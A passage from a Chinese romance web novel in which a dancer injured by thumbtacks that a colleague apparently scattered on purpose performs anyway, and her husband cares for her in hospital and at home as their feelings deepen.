她便僵地站在原地无法动弹,眉头紧皱,脸上表情早已疼得扭曲。 有同事进来看到这一幕,惊诧地喊出声:“天啊,这些是什么东西!” 接着又有人喊:“晚棠!你没事吧!” 同事们看到黎晚棠脸上露出痛不可忍的表情,吓得立马上前,踢开地上那些图钉,急忙扶着她:“晚棠,你是不是踩到地上的图钉了?” 她此时光着脚,几乎不用细问,也清楚发生了什么事。 黎晚棠忍住疼痛,闭眼点头:“麻烦你们,先扶我过去坐下。” 因为喊叫声,不少同事闻声跑了过来,白露晞八卦心重,第一时间冲进去。 当看到地上洒满的图钉,以及面色难看的黎晚棠,立马跑上前:“晚晚,你怎么了?” 扶黎晚棠坐下的同事,顺势抬起她的脚,当大家看清她脚底扎满的那些图钉时,忍不住倒吸了口凉气。 密密麻麻,左右脚加起来一共有十一个,全部深深地扎了进去,鲜红的血染满整个脚。 单是这么看着都觉得疼,何况还得拔出来。 白露晞见状,气得直接骂粗口:“谁他妈搞的,怎么会在休息室丢这种东西!” “不知道啊,我们之前回来还没看见呢,会不会是那只斗牛犬搞的破坏。” “看着不像,你们仔细看,全是平散在地上的,更像是人为。” 这话落下,在场人面面相觑几眼,纷纷闭嘴不言,似乎不敢去想谁会那么恶毒。 这时有人出声提醒:“现在不是说这些的时候,赶紧去叫团里的秦医生。” 白露晞急忙起身:“晚晚,你等我,我很快!” 黎晚棠望着一溜烟跑去休息室的白露晞,低头看了眼不能动的脚,紧皱的眉头担心起今晚的表演。 很快,白露晞带着秦医生小跑回来,一同出现的还有团长苏清,以及罗恩等其他同事。 大家立马让出一条道,秦医生放下医药箱,蹲下身查看情况:“晚棠,拔下来会有点疼,你忍着点。” 黎晚棠点头,用力握紧凳子扶手。 当一个个图钉拔下来时,她脚底已经满是鲜血。 秦医生迅速帮她消毒上药。 众人都蹙眉看着,没一个人敢出声。 苏清抽出纸巾走上前,俯身帮黎晚棠擦拭额头冒出来的冷汗,满脸的心疼道:“怎么会这样?” 黎晚棠咬紧牙关,摇头:“我也不清楚,当时进来的时候没注意到,抱着衣服准备转身去洗澡,就不小心就踩上去了。” 苏清偏头看了眼地上那些图钉,脸色瞬间冷了下来:“我们休息室里怎么会有这种东西,谁带来的?” 说着,她回头去看其他人,只见大家纷纷摇头。 苏清也明白,这时候问不出什么,当务之急,是黎晚棠的脚伤:“秦医生,晚棠这伤严不严重?” “对她今晚的演出,可能会有影响。” 秦医生抬头嘱咐:“扎破的地方还会发炎,你这几天都不能下地行走。” 黎晚棠听到不能演出,急忙出声:“团长,今晚的演出我能正常出演。” 苏清犹豫:“可你这样……” “没问题的团长,我跳完就去医院包扎,影响不大。”她不想失去任何演出的机会。 苏清看到黎晚棠眼底的执着,不得已点头:“今晚的演出我陪你去,你要有任何不舒服,及时告知我。” 黎晚棠嘴角强扯出一抹笑:“嗯,我会的。” 罗恩看到黎晚棠强撑的表情,扭头去看苏清:“团长,我今晚没事,也跟着你们一起去吧,如果有什么意外,也帮上忙。” 苏清若有所思地看了眼罗恩,心里顿时有了计策,万一黎晚棠上不了台,就拿另一个节目代替,总比空场强。 她轻轻点头:“好,你把若棠也叫上。” _ 由于这次意外受伤,黎晚棠只能坐着轮椅去走场。 主办方看到这个情况,也是一脸担忧,深怕她会在舞台上突然倒下。 但黎晚棠多次保证,绝对不会出现这种情况。 主办方见她如此坚定,最后也没说什么。 一直到表演开始,她就安静地坐在轮椅上。 这期间,她根本没空看手机,并不知道傅砚深给她回了消息,并告诉她,今晚会提前回来。 返程的路上,萧仲就发现傅总时不时盯着手机看,好像是在等谁的电话或信息,沉冷的表情里带着几分焦急。 直到飞机落地京北,傅砚深迫不及待开始打电话,但那头却一直没人接通。 沓樰獨家諍裡 萧仲推着行李走在后面,看着傅总面色凝重,周身的气压越来越低,猜想应该是发生了什么急事。 不是公事,他也不敢上前询问。 直到前方急促地步伐忽然停了下来,他眼疾手快地扶稳行李箱,紧跟着停住。 见傅砚深回头看他,萧仲忙开口:“傅总,您需要我做些什么?” “行李麻烦帮我拿回家。”傅砚深丢下这话,转身就上了停在路边的车。 “……” 萧仲望着消失不见的车尾灯,垂头看了看手中的两个行李,扬起的嘴角一点点拉直。 傅总好歹也要送他一程,这边好像不好打车。 傅砚深没心思关心他打不打得到车,从黎晚棠不接电话开始,他就一直心神不宁,担心她会出什么事。 但事情还没确定,他不好唐突地给她爸妈打去电话,以免让他们担心。 或许黎晚棠在忙,忙到没时间看手机。 他只能这样安慰自己。 叮嘱司机加快速度,当车子抵达剧院,傅砚深没去观众席,而是直接去了后台。 有工作人员上前阻拦,要他展示工作证,傅砚深刚想说他是黎晚棠的老公,属于家属,恰好这时有道声音传来。 “咦,傅先生,你也过来了?” 刘指导看到傅砚深出现在后台,表情微惊,很快就明白回来,可能得知黎晚棠出事,不放心所以跑来了后台。 他忙上前安慰:“晚棠伤势没有你想的那么严重,你别着急。” 说着,刘指导低声跟旁边的工作人员说了两句,就领着傅砚深往里走。 可没走两步,发现身旁人忽而停下来,黑眸暗沉沉地看着他:“你说我太太受伤了?” “啊?” 刘指导有些懵懵地抬头,后知后觉反应过来,他或许还不知道这件事,那他这是不是说漏嘴了。 他本想含糊其辞地搪塞过去,可对上傅砚深那双漆黑的眸子,嘴角轻扯,只能一五一十的把中午发生的事全说了。 只是见傅砚深脸色越发沉冷,刘指导吓得没把黎晚棠受伤,还坚持上台的事说出来。 更不敢说,在他出现的那一刻,黎晚棠已经上台表演了。 当两人气氛沉重地来到演播厅后台,苏清看到傅砚深那张陌生面孔,偏头悄声问:“你把谁带来了?” 刘指导瞥了眼,正目不转睛盯着黎晚棠看的男人,从他微皱眉头不难看出,这时候应该在担心,黎晚棠别出什么意外。 他刻意压低声音:“晚棠的老公,刚刚得知她受伤的事,他不放心过来看看。” 听到是黎晚棠的老公,苏清目光又重新落在他身上。 男人气场强大,刚进来就感受到了,颀长挺拔的身材,一看就是成功精英人士。 盯着眼前的男人,苏清忽然有些懂了,为何黎晚棠会那么早结婚,长相如此优越的男人确实很有吸引力。 黎晚棠并不知道傅砚深出现在后台,正专心致志跟着音乐跳动。 其实她双脚刚踏地的那一刻,冷汗瞬间浸湿了后背,连带着神经都在抽搐,隔着薄薄鞋垫,感觉又有新的血液流出。 黎晚棠咬紧牙关,闭上眼睛调整好状态,坚持走上了舞台。 她不仅是为了刚才许下的承诺,还有台下为她而来的观众。 刚刚站在侧台,她就看到台下有粉丝高举她的应援牌,心里瞬间被无数股力量填满。 所以这场演出,她尽管脚底如千根倒刺在扎,脸上没表露出一丝疼痛的情绪。 苏清望着黎晚棠毫无破绽地表演,一度以为中午发生的意外是一场梦。 直到黎晚棠鞠躬走下舞台,再也坚持不住摔倒在地时,那场梦突然被惊醒。 “晚棠!” 苏清惊慌失措地跑过去,只是还没伸手去扶,身旁就有更快的一道身影穿梭而来,稳稳接住即将倒下的黎晚棠。 一同跑过来的还有罗恩,当他看到傅砚深把人搂紧怀里,一脸焦急而又担心的样子。 他好像已经猜到了男人的身份,最后默默地退回原地。 黎晚棠以为自己会摔倒在冷硬的地板上,后背却忽然落入一个柔软的怀抱之中,当鼻尖涌入一股熟悉的沉香气息,她猛然抬头。 目光就这般直勾勾地对上,傅砚深那张紧张不已的面容,从天而降般出现在她眼前。 明明是很好看的一张脸,此刻全被紧张和不安所替代。 “傅砚深,你终于回来了。” 黎晚棠反应过来后,急忙伸手抱住他的脖子,偏头贴近他宽阔的胸膛,当熟悉味道将她包裹时,隐忍了一下午的泪水涌出眼眶:“我脚疼。” 这会儿像是有了依靠,她不需要再假装坚强,不需要强颜欢笑,可以尽数把今天强忍住的疼痛,一并用泪水倾泻出来。 因为她知道,不管她多狼狈,傅砚深都不会笑话她。 似乎只要有他在,她就有了无形的安全感。 他的出现就是一颗止疼药,就算她伤口再疼,瞬间得以缓解。 原本她脚底受伤后,还不太想要傅砚深回来,可这一刻看到突然出现,还稳稳接住了她。 那份期盼,变得强烈。 原来在她心里,是如此渴望他能快点回来- 傅砚深抱着不说话,转身疾步往外走,在得知她脚受伤,他就已经提前跟医院打过电话。 刚到门口,司机早已打开后车门等候。 见他们坐好,司机立马关门,快速上车,前往医院。 苏清他们跟着跑出来时,只看见驶离的后车尾灯。 她清楚现在过去帮不上什么忙,只有查明图钉的真相,才是给黎晚棠最好的交代。 她回头去看刘指导:“走吧,我们回团里,去把休息室出现图钉的事调查清楚。” 走在最后的温若棠听到这话,指尖下意识收紧,脸上却没露出半点慌张。 她偏头看了眼消失不见的车灯,想到长相优越的那个男人是黎晚棠老公,心里的不平衡再度冒出。 好像连上天都偏爱她。 车厢内,傅砚深一直将人抱在怀里,背脊挺直地坐着,不敢乱动。 他低头盯着黎晚棠那双逐渐停止流泪的眼睛,抬手轻轻擦拭。 这是他们结婚那么久以来,女孩第一次在他面前哭。 他心疼的同时,内心冒出极大的满足,因为他知道,怀里的女孩已经开始依赖他了。 “再忍一会儿,我们马上就到医院。”傅砚深轻声哄着。 黎晚棠缓慢点头,搂住他脖子的手没松,整个人依偎在他身上,默默去感受他身上传递过来的温度。 似乎只有这样,才让她感觉这一刻是真实的。 她不是在做梦。 车子很快抵达了医院,傅砚深抱着她下车,门口早已有医护人员守候。 看到他们出现,立马有人带着他们前往检查室。 傅砚深把黎晚棠放躺在检查床上,依旧站在她旁边,大掌握住她的手。 当护士将她舞鞋脱掉,看清被鲜血浸透的鞋底,傅砚深牵住她的那只手,无意识收紧。 他无法想象女孩是用怎么一种心情站上舞台,演绎完那支舞蹈。 当时的她,应该只是脚疼,还有内心的煎熬。 脱鞋的护士看到这一幕,眉眼也皱了起来。 女孩脚底全肿了,有些地方还在出血,黏黏糊糊,看不清形态。 “我先将伤口先清洗一下,你忍着点。”护士小心翼翼开口。 不清楚这两位是什么人物,只知道领导很重视,连他们部门主任都亲自过来了。 不过从女孩的装扮来看,应该是一名舞蹈演员。 黎晚棠知道会有很疼,立马别过头不敢去看,她空出的另一只手,下意识抓紧床架。 就在这时,一只大掌覆上她的眼睛,轻柔地声音在耳边响起:“别怕,有我在。” 黎晚棠愣了下,而后轻轻点头:“嗯,我不怕。” 失控的情绪早在来的路上得到缓解,黎晚棠这会儿不可能在这里哭出来。 消毒的过程其实挺疼的,因为会刺激到伤口,但有傅砚深陪着,比她中午独自面对的时候,心安很多。 医院的外科主任急匆匆赶来,仔细检查过后,伤口有一点感染,如果方便,要他们住院观察一晚,这样也方便护士随后换药。 毕竟还没消肿,这两位又是上头指定要关照的人,他不敢怠慢。 黎晚棠不吱声,抬头去看傅砚深,询问他的意见。 傅砚深知道她想问什么,直接对着主任医生说道:“麻烦了,帮我们安排一间干净安静点的病房。” “好的,今晚我会在医院值班,有任何情况,您随时找我。” 主任说完这番话,便主动去安排病房。 黎晚棠上好药,双脚也被纱布包裹了起来,细节处理完毕,她直接被送入VIP病房。 等所有人都离开后,傅砚深拉开椅子,落坐在她面前:“受伤了,怎么不跟我说?” 不是指责,而是想知道原因。 黎晚棠掀眸看他,低声道:“怕你担心。” 一是怕他担心,二是怕他知道后不让她上台。 傅砚深的原则性极强,恐怕在他眼里,没有什么事能比健康重要。 傅砚深目光紧盯着她,语气里没听出半点情绪:“只是这样?” 黎晚棠对上他漆黑的眸子,心虚舔唇:“……还怕你不让我上台。” “既然你都知道,为何不好好珍惜自己的双脚。” 傅砚深语气平静,内心却有些生气她坚持要上台的举动,特别是看到她那双鲜血淋漓的双脚时,后悔自己没早点过来,阻止她二次受伤。 黎晚棠垂眸没说话,如果让她父母知道,恐怕会比傅砚深更生气。 因为他们的想法跟傅砚深一致,健康永远比事业和名利更重要。 “黎晚棠。” 黎晚棠缓缓抬头,就对上他那双漆黑的眸子。 “你能不能,再多依赖我一些。” 傅砚深目光幽深地看着她,眼眸被灯光染上一层淡淡的温柔,许久,他低沉的声音里带着些许无奈。 “试着把我当成,你可以一直依赖的港湾。” 第33章 黎晚棠怔住,就那般直勾勾盯着眼前的男人,心脏却跳错了几个节拍,像是有根线在心口上牵动。 同时他说的那句话,不停地在她耳边循环。 ——试着把我当成,你可以一直依赖的港湾。 在她的成长记忆里,这样的话除了她爸妈,没人跟她说过。 但现在,多了一个叫傅砚深的男人。 黎晚棠从小自尊心强,也很独立,或许是经常参加各种比赛的原因,让她明白一个道理。 要想成功只能靠自己,就算她妈妈是一名优秀的舞蹈演员,给予她的东西也只是陪伴,以及舞蹈上的专业技巧指导。 没人可以帮她实现梦想,她未来想织什么样子的梦,只能靠她付出多少努力。 所以黎晚棠从小到大都不像其她女孩那样,走哪都喜欢粘着妈妈,什么事都要跟父母商量,甚至很多自己能解决的事,她都自己干。 或许在内心深处,是不想要父母跟着担心。 就像这次意外受伤,她特意叮嘱苏团长,要她不要告诉沈老师,就是害怕他们知道后担心,又急匆匆地赶过来。 可如今在她的生命中,又多出一个关心她的人,她心底坚守的那份独立要强,好像瞬间被眼前的人打破。 不知从什么时候起,她早就依赖上了傅砚深,不管是工作还是生活,或许从他参与进来的那一刻,就一点点让她产生了依赖。 今晚他突然跑过来,接住她的那一瞬,她不顾形象在他面前哭着喊疼,还把自己最脆弱的部分展现,她才猛然意识到,他对她的重要性。 他不只是她名义上的老公,而是占据她生命中很重的人。 也彻彻底底地明白了,她这几次越来越强烈的心跳,原因在哪。 她从未谈过恋爱,不懂得心跳加速代表着什么,直到面对傅砚深,她慢慢弄懂那种感觉。 是心动。 她已经喜欢上傅砚深了。 从他无微不至的照顾,到轻声细语的关心,再到默默无闻的付出,她那颗平静的心早已沦陷。 只是在这一刻她才恍然醒悟,之前掩盖住的一些细节,甚至想不通的事,也全部理清楚。 得出这个念头时,黎晚棠那颗心脏再度骤然加速,扑通扑通跳个不停,犹如烟花在心底绽开,连血液都跟着沸腾。 抬头重新跟他对视,她会无意识地屏住呼吸,耳边只能听到心脏如雷的跳动声。 在漫长地沉默后,黎晚棠调整好呼吸,目光定定地望着他,抿直的嘴角也逐渐扬起笑意。 “好,我会尝试依赖你。” 其实从搬进他家开始,她那种依赖早在潜移默化中,已经牢牢生根发芽,直到现在长成一棵参天大树。 本以为她会出声反驳,或者是生气委屈,毕竟在她受伤期间,他说话还如此沉冷严肃。 可是盯着女孩扬起的嘴角,以及她乖巧说好的样子,此刻的画面让他有些恍惚。 她说,她会尝试依赖他。 傅砚深垂在腿边的指尖松了又收紧,紧后又松,这个动作来回重复好几次,绷紧的那颗心才随之松懈,语气也没了刚才的严肃:“脚还疼不疼?” 黎晚棠忙不迭点头:“嗯,很疼,中午我跟你发完信息,转身就踩上去了,当时更疼,是那种钻心的疼。” 明白自己的心意后,她不想在他面前有一丝隐藏。 傅砚深眉头微拧:“是在我们聊天的时候,你不小心踩上去的?” 黎晚棠以为他会把责任往自己身上揽,急忙开口解释:“是不小心,但这事跟你没关系,图钉应该是人为。” “人为?” 傅砚深脸色瞬间冷了下来:“团里有人针对你?” 他这话说出口,黎晚棠脑中顿时闪过一个人的身影,是温若棠。 可后面团长叫她来剧院的时候才知道,她上午出去了,那个点不在舞团,所以她没有作案的时间。 黎晚棠摇头:“应该没有。” 事情没查清楚之前,她不想胡乱猜测。 傅砚深眸色变暗:“这件事我会亲自跟你们团长沟通,这期间你只需好好休息就行。” 只是他话音刚落,黎晚棠放在一旁的手机就响了起来,看到来电是沈老师,她慌张地去看傅砚深:“怎么办,是我妈的电话。” 沈老师今晚也去看了现场,发现她表演结束还没去找他们,这会儿肯定是着急了。 傅砚深朝她伸手:“我来说。” 黎晚棠忙把手机递给他,压低声音道:“你先别告诉他们,不然他们担心,一晚都会睡不好。” 傅砚深点头,缓缓接通:“棠棠,都散场了你怎么还没出来,没出什么事吧?” “妈,是我。”傅砚深平静地喊了声妈。 沈听荷表情一愣,随即又弯唇笑了起来:“砚深,你出差回来了?” “嗯,看完棠棠演出,我们就先回家了。” 傅砚深黑眸看着黎晚棠:“没提前告诉你和爸,是我的疏忽。” 黎晚棠被他那声“棠棠”叫得脸红,跟他对视几秒,便害羞地垂下头。 以前真没发现,这人撒谎起来脸不红心不跳。 不过现在看,他连撒谎的样子都那么帅。 “哦,原来你们是回家了,没出事就行。” 沈听荷怕打扰他们小两口团聚,急忙挂电话:“行,那你们早点休息吧,我跟你爸就回去了。” 电话挂断,黎晚棠忽而仰起下巴,似笑非笑地望着他:“傅砚深,原来你也会撒谎。” 傅砚深把她手机放在一旁:“这不叫撒谎,而是善意的谎言。” 黎晚棠抿唇笑道:“要这善意地谎言被拆穿了,沈老师怪罪下来怎么办?” “没事,妈要责怪,有我顶着。” 傅砚深那双黑眸安静地落在女孩身上,总感觉她这一刻的情绪变化有些奇怪。 先前的低落一扫而空,随之而来是她从未有过的随性自在。 黎晚棠直接笑了起来,而后又低下头,抿唇轻声补了句:“好,我陪你。”- 后来主任医生又过来检查一遍,见她脚底消肿了些,才放心离去。 黎晚棠刚坐好,就看见从门外走进来的傅砚深,此时他手里拿着个超大行李袋,想必是让人送过来的换洗衣服。 待他走近,黎晚棠问:“你出差回来,回过家了吗?” “没,打你电话不接,信息不回,不放心直接去了剧院。”傅砚深把东西放在沙发上,走上前去看她的脚:“医生怎么说?” “消肿了,但还是有一些炎症,医生说还需要勤换药。”黎晚棠仰头看他:“明天我们就出院吗?” “要看情况。”傅砚深垂眸在她身上扫了眼,轻声道:“你现在不能洗澡,坚持几天可以吗?” 她脚不能沾水,更不能下地,像擦身这样的事,他不可能帮她。 “不洗澡,那我脸上的妆怎么办。”黎晚棠有些苦恼。 傅砚深沉默了下,试探道:“不介意,我可以帮你。” 叫人拿过来的行李袋,里面有卸妆用品。 想到黎晚棠带妆睡觉会不舒服,他特意要阿姨带上的。 “不介意,不介意,你帮我卸妆吧。” 黎晚棠立马躺好,闭上眼睛,开始享受他的服务,根本没去问他会不会,反正在她眼里,傅砚深就是万能的,无所不能。 见女孩如此信任他,傅砚深眉眼间露出笑意。 转身将包里的卸妆用品拿了出来,他拿起一瓶卸妆油,认真去看上面的使用说明。 最后又翻出小方块的白色卸妆棉,按照说明,将沾湿的那面轻轻覆盖在黎晚棠眼皮上。 几秒后,动作轻柔地擦拭着。 黎晚棠闭眼感受他指尖的力道,嘴角微弯:“傅砚深,你以前也帮别人卸过妆?” 傅砚深目光专注,低头一眨不眨盯着她的眼睛,深怕有油沁入她眼角:“没有,这是第一次。” 得知是第一次,黎晚棠嘴角笑意压不住:“哦,那你还挺熟练。” 明知故问,内心还是想试探他怎么回答。 “我学习能力强。” 说到这,傅砚深动作忽停,目光幽深地落在她淡粉色的唇瓣上:“这点你应该清楚。” 黎晚棠忽而眯起一条眼缝看他,茫然问:“这个我知道啊,但你指的具体是哪方面?” “好比接吻。” 傅砚深一直盯着她,没错过女孩逐渐变红的脸颊:“你引领过一次,我就学会了。” “……” 黎晚棠万万没想到他会说这个,羞涩地闭上眼睛,睫毛却眨个不停:“确,确实。” 这点她不否认,他的学习能力,颇有点师傅领进门,修行在个人。 他修行的道行确实不错。 思及此,黎晚棠无意识舔了舔干涩的唇。 瞥见女孩这个动作,傅砚深眸色忽暗,喉结很轻地滚动了下,竭力把思绪放在卸妆上。 等彻底帮她清洗干净,傅砚深返回洗手间洗手时,还顺便洗了个澡。 再出来,女孩没睡,她听到动静缓缓偏头看了过来。 他疾步上去询问:“怎么,脚又疼了?” “不是。” 黎晚棠目光在他身上扫了眼,穿的依旧是一套保守的深灰色睡衣,头发好像比前几天短了些,眉骨线条越发深邃:“我是想问你打算睡哪?” 病房的床比不上家里的,一米五不到,两人挤在一起,肯定不行,何况她脚还有伤。 傅砚深视线落在旁边的沙发上:“沙发就行,你有事随时叫我。” 说着他就要转身,手腕却被女孩抓住。 源源不断的温度,从她握住的地方蔓延。 傅砚深身形微僵,而后迟缓回头:“怎么了?” “要不挤挤吧,沙发长度不够,你睡着不舒服。” 黎晚棠说这话时,依旧没松开他的手。 傅砚深目光落在狭窄的病床上,犹豫:“我怕挤到你,而且你脚上还有伤。” “不会,我很瘦,不占位置。”黎晚棠边说,边往一旁挪动:“你看,这不还挺宽的嘛。” 盯着女孩那双黑亮的眸子,傅砚深沉默了会儿,顺着她牵住他的手腕躺了下去。 只是他刚平躺好,下一秒,女孩熟练地滚进他怀里。 傅砚深身体瞬间僵住,不敢碰抱她,更害怕碰到她脚上的伤。 察觉到他的疏离,黎晚棠昂起头,面露委屈:“傅砚深,是因为我今天没洗澡,所以你嫌弃,就没抱我。” 那晚明明不是这样,他搂着她睡了一夜。 “不是。”傅砚深咽了咽喉,低声解释:“我怕碰到你受伤的脚。” 女孩的主动让他有些不知所措,不清楚是她脆弱后的举动,还是其他意思。 但这一刻,他却不想深究,只想将人一点点拥入怀中。 黎晚棠满意地将手搭在他胸膛上,侧头听着他不太平稳的心跳,嘴角微微扬起。 傅砚深虽然从未跟她表过态,但她能感觉他对自己应该是有感觉的。 那种感觉不只是限于他的妻子- 这一觉黎晚棠睡得特别安稳,中途感觉身旁人离开过,但温暖的怀抱再次将她拥住。 她缓缓睁开眼,还以为傅砚深早就起床了,没想到侧头就能看到近在迟尺那张俊脸。 察觉到她醒了过来,傅砚深放下手机,侧身看她:“睡好了吗?” 黎晚棠点头:“嗯,睡得特别踏实。” 或许有他在,就算脚底偶尔传来疼痛,也忽略不计。 “那我先起来,带你去洗漱。” 傅砚深小心避开她的脚,掀开被子下床,再将提前准备的轮椅推到床边,低头询问:“需要我帮忙吗?” 黎晚棠想也不想就朝他伸出手:“嗯,你抱我坐上去。” 傅砚深其实也是这个意思,但不好自行做主,客气询问,没想到女孩比他想象的还要积极。 他俯身去抱她时,嘴角扯起一抹很浅的弧度。 简单洗漱完,傅砚深把桌上早餐打开,放在她面前:“先吃早餐,晚点让医生过来看看情况。” 黎晚棠拿起筷子,见他站着不动,仰头问:“你不吃吗?” “我吃过了。”傅砚深看出女孩眼底的那点疑惑,笑着解释:“在你睡着的时候。” 黎晚棠拿着筷子的手顿住,仰头就这般定定地望着他,这次没有眼花,傅砚深笑了,弧度不大,却感觉格外温暖,像春天的第一抹阳光,万物都随着他绽放。 傅砚深稍稍俯身:“怎么了,这些不合胃口?” “不是,我喜欢吃。” 黎晚棠收回视线,低头吃了口菜,没忍住又抬头:“傅砚深,你以后多笑笑吧,你笑起来真好看。” 她喜欢看他笑。 被女孩这么盯着,傅砚深有些不习惯地站直身子,不能保证,但可以试试。 其实跟她在一起后,他很多时候会情不自禁地弯唇,这些都是发自内心的,没有刻意。 沉默了会儿,他轻轻点头:“好。” 恰好这时,傅砚深手机响了起来,拿出看到来电显示,他眉头很轻地皱了下,接着转身:“我出去接个电话。” “嗯嗯,你去忙你的。”黎晚棠以为是工作电话,没在意。 傅砚深又瞥了眼低头吃早餐的人,拿着手机走出病房,来到人少的楼梯道,缓缓接通:“事情有进展吗?” 打这通电话的人正是苏清,昨晚她打黎晚棠电话询问伤势,是傅砚深接的,后面他问了这件事的起因,她便大概说了一下。 后来他直接说,这件事的后续情况直接跟他说,黎晚棠受伤期间,最好别打扰她。 苏清理解他的心情,这时候黎晚棠需要休养,这种事确实不好给她增添烦恼。 “休息室没有监控,看不到是谁丢的图钉,而且走廊上的监控我们也查了,除了我们团里的人,没看见有陌生人出入。” 傅砚深蹙眉:“你们都把目标放在陌生人身上,就没查查自己的内部人员。” 苏清呼吸收紧,语气坚定道:“傅先生,我们舞蹈团一向讲究团结,我相信这种事不会是我们内部人所为。” “我需要看到的是证据,而不是你的保证。” 傅砚深声音冰冷:“如果苏团长没有能力处理这件事,我可以找专业人士过来调查。” 男人不容置疑的语气,让苏清哑口无言,看到这男人的第一眼就知道他气场很足,现在不近人情的口吻,丝毫没有她是黎晚棠的团长而松懈。 似乎在他眼里,只论事就是。 片刻地沉默后,苏清平静道:“不用麻烦傅先生,这件事我们会重新调查。” 挂断前,傅砚深出声提醒:“苏团长,大家正常排练,没人会带这些东西出门,你可以试着去查查你们储物室的监控,看看有什么发现。” 苏清眉头忽跳,感觉这男主太过聪明,她还没着手调查,他先把疑点指出。 “好,谢谢傅先生提醒。” 傅砚深返回病房时,屋内站满了医生和护士。 看到他进来,主任医生忙开口:“傅先生,傅太太脚伤目前已经消肿,也没有流血的迹象,回家只需经常换药,等伤口愈合,就能适当下地行走。” 他旁敲侧击,才知道这位是傅书记的儿子,受伤的这位是他的新婚妻子。 傅砚深点头:“麻烦了,我们等会儿就去办出院手续。” 听到要出院,主任暗暗松了口气:“好,我这就让人去整理出院资料。” 等医生护士全部离开,黎晚棠偏头问:“你是要回公司吗,没关系你去吧,我叫知薇过来照顾——” “不是。”傅砚深不等她说完,缓步走上前,直接蹲在她面前:“在你脚伤彻底好之前,我可以在家办公。” 黎晚棠抬眸看着他,因他这句话,心脏不自觉地一颤。 而后又砰砰地直跳。 压住心里的雀跃,她面上故作淡定地开口:“好,如果你在家工作不方便,我也可以照顾好自己。”- 回到家,黎晚棠感觉空气都变得清新起来。 病房环境虽好,但总归没有家里舒服。 或许是心境不同,又或许是两人分开的时间太久,此刻还挺享受在一起的感觉。 傅砚深给她端了杯温水,低声道:“喝点水,等会儿会有阿姨过来帮忙。” 黎晚棠抬头问:“帮什么忙?” 傅砚深黑眸在她身上的舞蹈服看了看,低声道:“你不会打算一直穿着这套衣服吧?” 黎晚棠顺势低头,瞬间明白他的意思,脸颊害羞地红了起来:“哦,阿姨过来是方便点。” 目前还不敢让沈老师他们知道,所以这种事傅砚深更不能帮忙,只有阿姨最合适。 很快,门铃响起,傅砚深走过去开门,黎晚棠听到声音回头,还是上次给她送饭的阿姨。 她笑着开口:“阿姨好。” “太太好。” 换上拖鞋,阿姨熟练放入鞋柜,笑着走上前:“太太,我姓张,您以后叫我张姨就行。” “张姨。”黎晚棠又礼貌地喊了声。 张姨笑得合不拢嘴,夫人说得没错,她这个儿媳妇是真招人喜欢。 小心翼翼将人推进卧室,张姨开始帮黎晚棠换衣服。 黎晚棠犹犹豫豫好半晌,抿唇道:“……张姨,你能帮我洗个澡吗,简单冲洗一下就行。” 一晚不洗澡真的难受死她了,虽然不习惯陌生人帮她洗澡,但这种情况下她没得选。 不然就得臭着。 张姨低头看了眼她脚上的伤,有些不放心:“太太,要不我帮您擦擦身子吧,万一沾到水,少爷那我不好交代。” 傅砚深看似脾气好,但原则性很强,若没得到他的允许,她私自帮太太洗澡,可能会不高兴。 黎晚棠知道她的顾虑,保证道:“放心吧张姨,往脚上套两个防水袋,不会沾到水的。” 在她的恳求下,张姨只能把她推进浴室,简单冲洗也花费了一个小时。 换上衣服出了卧室,察觉这边也没有她要做的事,张姨跟黎晚棠挥手告别。 黎晚棠瞧着张姨慌里慌张地模样,等人进入电梯,没忍住笑了起来。 能看出来,张姨平时应该挺怕傅砚深的。 “在笑什么?” 冷不丁的声音从身后传来,黎晚棠立马收敛嘴角笑意,一回头,就看见从书房出来傅砚深。 她摇头:“没笑什么,我送张姨出门呢,你忙完了?” “嗯。” 傅砚深来到她轮椅后面,弯腰准备推她进屋时,低头的那一瞬间,鼻尖闻到她身上那股淡淡的沐浴香,忽然想到什么,他皱眉问:“你洗澡了?” 黎晚棠脸上表情瞬间僵住,片刻后,又故作轻松地弯起唇角:“……没洗,就简单擦了下。” 别说张姨犯怵,傅砚深严肃起来,她也怂。 傅砚深没说话,只默默把人推到沙发,而后蹲下查看她脚上的情况,纱布虽然没有沾到水,却还是有些微微湿润。 看到这个情况,他脸色更加冷沉了下来。 黎晚棠见他不说话,只低头在帮她换纱布,不用想也知道,他根本不信她说的话。 看样子,这是生气了。 黎晚棠现在在意他得要死,哪能看他一直生闷气下去,见他依旧不说话,故意把脚往后收了收:“嘶……有点疼。” 听到她说疼,傅砚深顿时不敢乱动,抬头紧张询问:“很疼吗,那我们现在去医院。” 傅砚深说着就要起身,黎晚棠当时就慌了,忘记这人较真,开不了玩笑。 眼看他要过来推她,她急忙开口:“其实,也不是很疼。” 黎晚棠抬头看他时,扯了扯唇:“好像……又不疼了。” 傅砚深目光在女孩脸上细细打量几眼,她眼底的心虚完全暴露出来,他松开手,重新蹲在她面前:“以后不要开这种玩笑,我会认真。” “嗯嗯,不会了。” 黎晚棠又偏头去看他脸色,似乎比刚才好些了:“我是见你生气了,想哄哄你。” 傅砚深拿纱布的动作忽顿,目光盯着轮椅出神好片刻,才抬头看向她:“哄我?” 他以为是自己听错了。 “嗯,我不该偷偷要张姨帮我洗澡。” 说着,黎晚棠伸手去拽傅砚深的衬衣袖,学叶知薇平时撒娇叫她棠宝的口吻,把语气放柔了几分。 “所以傅砚深,别生气了好不好?” 第34章 女孩轻轻柔柔的声音,像春日穿过的阳光,带着羽毛般拂过耳畔的轻痒,最后稳稳落在他心尖上。 许久,他才在激动中找回自己的声音,带着小心翼翼地试探:“你很在乎,我是否生气?” 黎晚棠忙不迭点头:“当然,你生气我也会不高兴。” 听到这句话时,傅砚深心头狠狠地颤了颤。 他垂下头,继续手上动作:“好,我不生气了。” 语气有点像哄幼儿园的小朋友。 黎晚棠抿住嘴角低笑,偏头却见他脸色依旧没有好转,她瞬间明白,他刚才的话是在安慰她。 笑意微收,她眉头很轻地皱了皱,而后双手懒懒地搭在膝盖上,低头询问:“傅砚深,你平时不高兴的时候,吃什么会心情好。” 没想到女孩还在意这件事,傅砚深抬头,目光幽深地望着她,顺着她这句话,意味深长地反问:“同居那么久,我以为你知道。” 她知道? 黎晚棠眯眼想了想,视线不自觉落在他那张薄唇上,想到求他办事那次,她猛然意识到什么。 她好像是知道! 黎晚棠抿唇笑了笑,忽然觉得这人闷骚,哄人的方式跟求人一样。 她舔了下唇,忽而伸手抬起他的下巴,在他没反应过来时,俯身吻了下去。 “是这样吗?”她含着他的唇,轻声询问。 傅砚深喉结滚动,感受到唇瓣的柔软还在继续,他忽地丢掉手里的纱布,骤然扣住她后脑,加深这个吻。 